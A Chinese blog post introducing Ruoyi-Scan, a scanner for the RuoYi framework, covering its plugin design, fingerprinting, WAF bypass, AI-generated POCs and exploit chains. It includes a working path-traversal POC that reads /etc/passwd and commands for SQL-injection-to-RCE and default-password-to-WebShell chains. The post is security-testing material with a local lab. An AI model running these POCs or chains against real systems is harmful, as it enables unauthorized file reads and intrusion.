如何系统性地检测若依框架的已知与未知漏洞
面向若依生态的专项漏洞扫描器实现解析:三态判定降低误报、AI 生成 POC 自验证回灌、nuclei 模板兼容,附靶场实战验证与真实 POC 代码。
若依专项扫描:从指纹识别到 AI 生成 POC 的完整实现
作者:XIABAI
项目:Ruoyi-Scan(若依专项漏洞扫描器)— https://github.com/xiabai2008/ruoyi-scan
声明:本文所有检测均在自建签名靶场(仅 127.0.0.1 绑定)或授权环境下验证,请勿对未授权目标使用。
一、为什么需要"专项"扫描器
若依(RuoYi)是国内应用最广的开源 Java 后台框架之一,政企系统、外包项目、毕业设计大量基于其二次开发。但它有一个现实问题:
- 通用扫描器覆盖浅:往往只停留在"能扫到 Shiro / Spring Boot"层面,对若依专有攻击面(特定路径泄露、版本差异化漏洞、二次开发引入的未授权接口)覆盖不足;
- 误报率高:若依及其变体(Vue3 / App / Plus / Cloud-Plus)指纹差异大,通用工具经常把不存在的端点判定为漏洞,人工复核成本高。
因此我做了 Ruoyi-Scan:插件化架构 + 三态判定(CONFIRMED / SAFE / UNKNOWN),专为若依生态设计。
二、整体架构
main.py(CLI 参数解析与模式分发)
│
▼
core/orchestrator.py(扫描编排:recon / vuln / brute 插件分组调度)
│
├── core/fingerprint.py 指纹识别 → 目标判定(若依/变体)
├── core/router.py 指纹 → 插件路由(只跑匹配的插件)
├── core/engine.py 并发编排 + 令牌桶限速
├── core/chain.py 漏洞利用链(DAG 拓扑编排)
└── core/report.py 多格式报告渲染
│
▼
plugins/(每漏洞一插件,继承 PluginBase)
├── ruoyi/ 若依 16 个 POC + 5 变体识别
├── spring/ Spring Boot 14 个 POC
├── common/ 通用漏洞包(.git/.env 泄露、CORS、Swagger 等)
└── chain/ 3 条内置利用链核心设计原则(对应 plugins/base.py):
- 每漏洞一插件,继承
PluginBase; - 三态判定:
verify()必须返回ScanResult,网络异常等不可判定情形必须返回 UNKNOWN,不得误判为 SAFE(判定逻辑的底线); - 元信息驱动:CVSS v3.1 自动评分、等保/OWASP 合规映射、复现命令、修复建议全部挂在插件类属性上,报告直接引用。
三、插件系统:一个真实 POC 长什么样
以若依最经典的**任意文件读取(路径穿越)**为例(plugins/ruoyi/file_read_path.py):
- 漏洞:
/common/download/resource?resource=接口未对resource参数做白名单校验,../路径穿越可读取任意文件; - 影响版本:
>=4.0,<4.7(4.7 已修复); - 编号:CNVD-2021-01931;
- 合规映射:
等保2.0:8.1.4; OWASP:A01:2021。
插件类属性(节选):
class RuoyiFileReadPathPlugin(PluginBase):
name = "任意文件读取(路径穿越)"
cve = "CNVD-2021-01931"
severity = "high"
category = "vuln"
# 影响版本范围:路径穿越在 4.7.0 已修复
affected_versions = ">=4.0,<4.7"
# CVSS v3.1 向量(自动计算 Base Score)
cvss_vector = "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
compliance = "等保2.0:8.1.4;OWASP:A01:2021"
# WAF 绕过支持:命中 WAF 后引擎调用 verify_with_bypass()
vuln_type = "file_read"
supports_waf_bypass = True判定逻辑(三态判定核心):
def verify(self, target, session):
url = join_url(target, "/common/download/resource?resource=../../../etc/passwd")
try:
resp = session.get(url)
except Exception as e:
# 网络异常 → UNKNOWN,绝不误判为 SAFE
return ScanResult(kind="vuln", name=self.name,
status=STATUS_UNKNOWN, url=url, evidence=str(e))
text = resp.text or ""
code = getattr(resp, "status_code", 0)
# 200 + 真实 /etc/passwd 特征 → CONFIRMED(强特征,不靠签名 marker)
if code == 200:
hit, evidence = _is_passwd_file(text)
if hit:
return ScanResult(kind="vuln", name=self.name,
severity=self.severity, status=STATUS_CONFIRMED,
url=url, evidence=evidence, ...)
# 400/403 → 拦截;404 → 端点不存在;200 无特征 → SAFE
...判定上用真实响应特征而非简单的"状态码=200"或"响应含关键字":
- 文件读取 → 校验响应是否为真实
/etc/passwd格式(name:x:uid:gid:多行 + root/系统账户特征),从机制上避免"返回 200 就报漏洞"的误报; - 这是
CONFIRMED / SAFE / UNKNOWN三态判定落地的一个缩影。
新增 POC 时无需改引擎:python main.py --plugin-init <name> 生成骨架 → 实现 verify() → --plugin-check 验证 → 自动被加载。
四、指纹识别:把"扫得准"做在前面
通用扫描器误报多,很大程度是因为不知道对面是什么。Ruoyi-Scan 的指纹层做了三件事:
- favicon hash:采集站点 favicon 计算 hash,与已知若依资产比对;
- 特征路径 + 关键字:
/prod-api/、/system/等若依路由特征、页面关键字; - 变体细分:Vue3 / App / Plus / Cloud-Plus 分别识别。
指纹的结果直接驱动 router.py 的插件路由:只对匹配变体运行对应 POC(variant 字段控制),避免跨变体误报。
五、WAF 绕过:三态判定保护矩阵
遇到 WAF 时,引擎自动切换到绕过通道:
- 11 种绕过策略(编码变形、大小写混合、注释混淆、双写等);
- 命中 WAF 后调用插件的
verify_with_bypass(),传入已应用传输层变换的BypassSession; - 内置成功率追踪,统计每种策略对不同漏洞类型的命中率;
- 判定仍遵循三态:绕过后确认才是 CONFIRMED,防止"绕过失败误报漏洞"。
六、AI 生成 POC:自然语言 → 自验证回灌
写 POC 有一定门槛,Ruoyi-Scan 提供了 AI 通道:
python main.py --ai "检测若依任意文件读取漏洞" --category ruoyi流程:
- 自然语言描述 → 生成插件骨架;
- LLM 自验证回灌:生成的 POC 先由模型自检,不通过则回炉重生成;
- 无 Key 时降级为规则模板,不阻塞使用。
七、nuclei 模板兼容:白嫖社区生态
python main.py -p http://target:8080/ --nuclei examples/nuclei/
python main.py --nuclei-validate examples/nuclei/ # 只校验不扫描实现上是 http 协议子集 + 安全白名单:
- 支持 nuclei 模板中常用的
http请求块(method/path/headers/body/matchers); - 白名单机制隔离模板中的危险动作(如重定向跳转、文件写入),避免模板本身成为攻击面;
- 支持
--nuclei-tags/--nuclei-severity过滤。
八、漏洞利用链:DAG 拓扑编排
单个漏洞往往不够,利用链把多个 POC 串起来:
python main.py --chain ruoyi_sql_to_rce -u http://target:8080/
python main.py --chain list- DAG 拓扑编排 + 条件分支(前一步未确认则不执行后续步骤);
- 内置 3 条链:SQL 注入→RCE、Nacos 未授权→数据库凭证、默认口令→WebShell。
九、实战验证:内置签名靶场
为避免"没环境测",仓库内置了签名靶场(lab/):
docker compose up -d lab-ruoyi
# 扫描内置靶场
docker compose run --rm scanner -p http://lab-ruoyi:8080/ --report /app/reports安全约束(硬性):
lab-ruoyi/lab-spring默认仅绑定127.0.0.1;- 启动时展示安全警告横幅:本靶场含漏洞响应签名,仅限本机/授权测试环境使用,严禁部署到公网或未授权网络;
- 涉及利用的插件默认仅做存在性验证,不做实际破坏。
十、报告与工程化
- 多格式:HTML(SVG 图表)/ JSON / CSV / PDF / Word / Excel / SARIF;
- Web API:
python main.py --serve启动 REST + WebSocket 实时推送 + Web 控制台,权限分级(read / scan / admin),支持定时扫描; - 组件版本检测:fastjson / SpringBoot / Shiro / Nacos / Log4j 版本比对 CVE 映射(
--components); - CI/CD:SARIF 对接 GitHub Code Scanning,严重度阈值退出码控制。
结语
Ruoyi-Scan 的定位很明确:在若依这个垂直生态里,把检测做深、做准。三态判定从机制上控制误报,AI 生成 POC 降低插件编写门槛,nuclei 兼容复用社区生态。
- 仓库:https://github.com/xiabai2008/ruoyi-scan(MIT)
- 演示动图见 README
- 欢迎 star、提交 POC、交流若依生态的漏洞研究
附录:常用命令速查
# 综合扫描(目录 + 漏洞 + 爆破)
python main.py -u http://target:8080/
# 漏洞检测
python main.py -p http://target:8080/
# 组件版本检测
python main.py -p http://target:8080/ --components
# nuclei 模板
python main.py -p http://target:8080/ --nuclei examples/nuclei/
# AI 生成插件
python main.py --ai "检测若依任意文件读取漏洞" --category ruoyi
# 漏洞利用链
python main.py --chain ruoyi_sql_to_rce -u http://target:8080/
# Web API + 控制台
python main.py --serve # http://localhost:8000/
# 批量扫描
python main.py -f targets.txt -p --report ./reports